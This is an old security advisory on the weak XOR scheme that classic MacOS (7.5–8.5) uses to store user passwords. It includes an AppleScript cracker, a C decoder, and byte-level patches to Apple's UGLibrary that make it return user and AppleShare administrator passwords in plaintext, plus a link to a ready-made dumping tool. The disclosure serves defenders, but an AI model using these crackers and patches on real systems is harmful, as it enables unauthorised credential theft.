COMMAND

    kernel (MacOS system encryption algorithm)

SYSTEMS AFFECTED

    MacOS

PROBLEM

    Dawid adix Adamski found  following.  The encryption  algorithm in
    MacOS system  is simple  and the  password can  be easily decoded.
    Password is  stored in  Users &  Groups Data  File in  Preferences
    folder.  Offset is different  on each system and depends  on Users
    & Groups configuration, but it always lie after owner's  username.
    It's not  so difficult  to find  it using  hex editor,  even if we
    don't know owner's username.  Here are some examples of  encrypted
    passwords:

    00 04 06 18 0D 0A 19 0B = stayaway
    0A 1F 10 1B 00 07 75 1E = yellow
    1C 1B 16 14 12 62 10 7B = owner
    07 02 13 1A 1E 0F 1A 14 = turnpage
    27 25 33 27 27 39 24 7E = Trustno1

    AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

    where:

    AA BB CC DD EE FF GG HH - encrypted password (hex)
    aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

    aa=AA XOR 73H
    bb=BB XOR AA XOR 70H
    cc=CC XOR BB XOR 63H
    dd=DD XOR CC XOR 67H
    ee=EE XOR DD XOR 74H
    ff=FF XOR EE XOR 70H
    gg=GG XOR FF XOR 72H
    hh=HH XOR GG XOR 6BH

    An example:

    Let's take OO 04 06 18 0D 0A 19 0B

    00H XOR 73H = 73H = s
    04H XOR 00H = 04H; 04H XOR 70H = 74H = t
    06H XOR 04H = 02H; O2H XOR 63H = 61H = a
    18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
    0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
    0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
    19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
    0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

    This was tested on MacOS 7.5.3,  7.5.5, 8.1, 8.5.  David wrote  an
    apple script to break passwords.

    (*          MacOS Pass 2.1 by adix      15.06.99; Apple Script English    *)
    global lbin, bit1, bit2, bitk
    set hex1 to text returned of (display dialog "Enter encrypted password
    (hex): " default answer "" buttons {" Ok "} default button " Ok " with icon
    stop)
    set Alicia to
    "0111001101110000011000110110011101110100011100000111001001101011"
    set pass to ""
    set lbin to ""
    set razem to ""
    set i to 1
    set skok to 0
    set ile to count items in hex1
    if ile = 0 or ile = 1 then
     set pass to ""
    else
     repeat until (i > (ile - 1))
      set kodascii to 0
      set razem to ""
      set zn to items (i) thru (i + 1) in hex1
      set lbin to hex2bin(zn)
      repeat with a from 1 to 8
       set bit1 to item (a + skok) of Alicia
       xor(a)
       set razem to {razem & bitk} as string
       if i < 2 then
        set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
       end if
      end repeat
      if i < 2 then
       set pass to {pass & (ASCII character kodascii)}
      else
       set zn to items (i - 2) thru (i - 1) in hex1
       set lbin to hex2bin(zn)
       repeat with a from 1 to 8
        set bit1 to item a of razem
        xor(a)
        set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
       end repeat
       set pass to {pass & (ASCII character kodascii)}
      end if
      set skok to skok + 8
      set i to i + 2
     end repeat
    end if
    display dialog "Password:   " & pass & return & return & "by adix" buttons
    {" Ok "} default button " Ok " with icon note
    on hex2bin(zn)
     set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110",
    "0111", "1000", "1001", "1010", "1011", "1100", -
      "1101", "1110", "1111"}
     set t2hex to "0123456789ABCDEF"
     set bin to ""
     repeat with j in zn
      set t1 to j as string
      repeat with i from 1 to (count items in t2hex)
       if ((item i in t2hex) = t1) then
        set temp to (item i in temphex)
        exit repeat
       end if
      end repeat
      set bin to {bin & temp} as string
     end repeat
     return (bin)
    end hex2bin
    on xor(a)
     set bit2 to item a in lbin
     if bit1 = bit2 then
      set bitk to "0"
     else
      set bitk to "1"
     end if
    end xor

    J.A. Gutierrez added following.  He has been researching a  little
    on this  subject, and  found code  above fails  when decoding  the
    first character of the password, for this char you need additional
    data from the  "Users & Groups  Data File", specifically,  the 4th
    byte after  the encoded  sequence described  in his  message.  So,
    after cleaning a little the  code, you get something as  simple as
    this:

    #include 
    
    int main(){
    
        register int i=0;
    
        unsigned char *mask="rpcgtprk";
        unsigned char *pw="\x28\x08\x2F\x3B\x20\x36\x30\x5B\x00\x00\x00\x09";
        unsigned char c;
    
        for(i=0; i<7; i++)
        {
            c = pw[6-i] ^ mask[7-i];
            pw[7-i] ^= c;
        }
        c = pw[11] ^ mask[7-i];
        pw[7-i] ^= c;
    
        printf("\"%s\"\n",pw);
    }

    But you still have to  find the encrypted passwords in  the binary
    data file.  Apple's AppleShare SDK provides a "UGLibrary" to  deal
    with  this  data  file;  but  it  doesn't  let you access the user
    password  (which  is  decrypted  in   the  stack  when  you   call
    "UGAuthenticateUser()", nor the encrypted  one.  In fact,  in this
    call,  the  encrypted  password  is  decrypted  to  the stack, and
    compared against the user supplied one.  So, all we have to do  is
    replace the compare with a copy:

        * 00000206: B036 70F4      '.6p.'   CMP.B      -$0C(A6,D7.W),D0
        * 0000020A: 6710           'g.'     BEQ.S      *+$0012             ; 0000021C
        *
            is replaced with
        *
        * # ADDQ.W      #$02,A2             544A
        * # MOVE.B      D0,-(A2)            1500
        * # BRA.S       *+$0012             6010
        *
        * i.e., go to offset 28A0 and replace "B036 70F4 6710" with "544A 1500 6010"
        * in "UGLibrary.o"

    After that, we  can build a  simple program (about  150 lines) and
    with just a double click, we get a listing with all the users  and
    decoded passwords in the system.   That's enough for the  personal
    AppleShare server included with MacOS 7.x and 8.x; for  AppleShare
    server 3.x (and,  probably 4.x; I  didn't check it)  the data file
    is protected by a "administrator  password" so you need it  before
    being able  to use  the modified  UGAuthenticateUser().   But that
    password uses  the same  encryption algorithm/check  as the  users
    ones, so we  only have to  change "UGOpenFile()" in  the same way:
    at offset 0A92, B030 7000 671A becomes 544A 1500 601A

    So, with  these modifications,  AppleShare 3.x  admin password  is
    returned  into  filePB.ugAdminKey  after  UGOpenFile()  and  users
    password    are    returned    into    userPB.ugPassword     after
    UGAuthenticateUser(), both in plain text format.  A program  which
    uses this  method for  listing users  and passwords  can be  found
    (both MacOS 68k binary and source code) at (Stuffit 5.x archive):

        ftp://ivo.cps.unizar.es/pub/SPDsoft/ASPID.sit

SOLUTION

    Nothing yet.  Let's hope that algorithm will change.